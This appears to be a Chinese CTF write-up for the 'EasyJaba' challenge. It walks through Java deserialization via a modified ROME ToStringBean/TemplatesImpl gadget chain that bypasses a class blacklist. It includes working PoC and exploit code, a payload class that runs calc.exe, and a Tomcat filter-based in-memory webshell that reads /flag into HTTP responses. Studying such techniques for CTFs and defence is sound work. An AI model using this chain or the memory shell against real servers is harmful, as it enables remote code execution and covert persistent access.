从一道题看java反序列化和回显获取

前言

EasyJaba 这个题目是陇原战”疫”2021网络安全大赛的一道题,最近正好在学习java反序列化和内存马的相关知识,通过这个题目可以很好的进行实践。

反序列化

题目给了jar包,直接用jd-gui反编译看看

Base64decode直接给了readObject,很明显有反序列化的考点了,不过这里还有个神秘的object1和BlacklistObjectInputStream,应该是给的一些障碍

简单看了一下应用没看到实现了Serailizable接口的类,看下lib,发现了rome

应该就是从经典的ROME 1.0 任意代码执行反序列化链子入手了

直接用idea反编译,这次代码清楚多了

简单分析下就是给ObjectInputStream加了俩黑名单

java.util.HashMapjavax.management.BadAttributeValueExpException

再看ROME的反序列化链条

TemplatesImpl.getOutputProperties()NativeMethodAccessorImpl.invoke0(Method, Object, Object[])NativeMethodAccessorImpl.invoke(Object, Object[])DelegatingMethodAccessorImpl.invoke(Object, Object[])Method.invoke(Object, Object...)ToStringBean.toString(String)ToStringBean.toString()ObjectBean.toString()EqualsBean.beanHashCode()ObjectBean.hashCode()HashMap<K,V>.hash(Object)HashMap<K,V>.readObject(ObjectInputStream)

入口点就是从HashMap开始的,显然不能直接使用了

但是注意到代码直接给了toString

所以我们只需要把链子稍微改下就能用了,新的链子

TemplatesImpl.getOutputProperties()NativeMethodAccessorImpl.invoke0(Method, Object, Object[])NativeMethodAccessorImpl.invoke(Object, Object[])DelegatingMethodAccessorImpl.invoke(Object, Object[])Method.invoke(Object, Object...)ToStringBean.toString(String)ToStringBean.toString()

其实主要是利用了ROME的ToStringBean触发可控.invoke(可控,NO_PARAMS)然后利用TemplatesImpl这个类来实现任意代码执行

如何利用可控.invoke(可控,NO_PARAMS)实现任意代码执行

这其实是很多java反序列化导致任意代码执行的最后一环

这里我们利用的是TemplatesImpl.getOutputProperties()

简单写个Poc下断点跟下流程

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassPool;import javassist.CtClass;import java.util.Properties;public class Poc {    public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{        static {            //shell code here             System.out.println("Hello Java");         }        @Override         public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {         }        @Override         public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {         }     }    public static void main(String[] args) throws Exception{         ClassPool pool = ClassPool.getDefault();         CtClass clazz = pool.get(Evil.class.getName());        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};         Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");         Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};         Constructor constructor = templatesimpl.getDeclaredConstructor(types);         constructor.setAccessible(true);         TransformerFactoryImpl tf = new TransformerFactoryImpl();         Properties p = new Properties();         Object[] params = {bytecodes,"whatever",p,1,tf};         Object object = constructor.newInstance(params);         Method method = templatesimpl.getMethod("getOutputProperties");         method.invoke(object,null);     } }

首先进入

因为我们之前反射调用templatesImple的构造函数构造了一个对象

Object[] params = {bytecodes,"whatever",p,1,tf}; Object object = constructor.newInstance(params);

此时该templatesImpl的_bytecodes就是我们注入的恶意类字节码

下一步跳转到newTransformer

然后跳转到getTransletInstance

因为我们的templatesImple _class属性为null,会进入defineTransletClasses();

这个方法大致意思就是将我们的字节码,通过Classloader defineClass转成Class并存储在templatesImple的_class属性中

此处还会对class的父类进行检查如果是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,则将_transletIndex指向该位置

回到getTransletInstance,可以发现此时会实力话我们注入的恶意类,同时会强制类型转换成AbstractTranslet类型,这两处也是为什么我们需要将我们的恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然无法触发此处构造函数

然后就能执行我们恶意类Evil里static代码块了。

言归正传,对于本题我们构造如下exp,这里也可以通过javassist手动加上父类

ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(E.class.getName()); clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));byte[][] bytecodes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templatesimpl = new TemplatesImpl(); Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templatesimpl, bytecodes); Field fieldName = templatesimpl.getClass().getDeclaredField("_name"); fieldName.setAccessible(true); fieldName.set(templatesimpl, "test"); Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory"); fieldTfactory.setAccessible(true); fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); ObjectBean objectBean = new ObjectBean(Templates.class, templatesimpl);

其中E为我们构造的恶意类用来执行代码比如

public static class E{        static  {            try {                 java.lang.Runtime.getRuntime().exec("calc.exe");             }catch (Throwable t){}         }     }

将生成的payload打过去以后可以发现弹出了计算器

获得回显

在可以命令执行后尝试了各种方法,但是发现拿不到命令执行的结果,后来发现有题目提示不出网…

不出网意味着类似反弹shell,curl,dnslog之类外带回显方式不可用了。加上并没有给静态文件的目录,将回显写入静态文件的方式也不好操作。这里利用内存马的思想,动态注入一个filter来获得回显。但是还有一个坑点在于由于我们的data是在url里注入的,如果太长的话会爆Request too Large的错误。所以我们要尽量缩短生成的类字节码大小。最终构造的恶意类如下。

public static class E{    static {        try {            //这里采取Litch1师傅文章的思路,通过WebappClassLoader拿到StandardContext             Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");             Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();             Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");             WebappClassLoaderBaseResource.setAccessible(true);             Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);             Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");             Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null);            //拿到StandardContext后就可以通过addFilterMap方法注入filter型内存马了             StandardContext standardContext = (StandardContext) getContext.invoke(resources, null); Filter filter = (servletRequest, servletResponse, filterChain) -> {                         FileInputStream fis = new FileInputStream("/flag");                        byte[] buffer = new byte[16];                         StringBuilder res = new StringBuilder();                        while (fis.read(buffer) != -1) {                             res.append(new String(buffer));                             buffer = new byte[16];                         }                         fis.close();                         servletResponse.getWriter().write(res.toString());                         servletResponse.getWriter().flush();                     };             FilterDef filterDef = new FilterDef();             filterDef.setFilterName("A");             filterDef.setFilterClass(filter.getClass().getName());             filterDef.setFilter(filter);             standardContext.addFilterDef(filterDef);             FilterMap filterMap = new FilterMap();             filterMap.setFilterName("A");             filterMap.addURLPattern("/*");             standardContext.addFilterMap(filterMap);             standardContext.filterStart();            //本地测试时取消下面这行可以帮助观察是否注入成功             //System.out.println("injected");         }catch (Throwable t){            //t.printStackTrace();         }     } }

然后实际测试的时候发现自己带命令执行的生成的字节码都太长了,于是索性只读取”/flag”试试。

第一次访问

第二次访问,成功拿到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值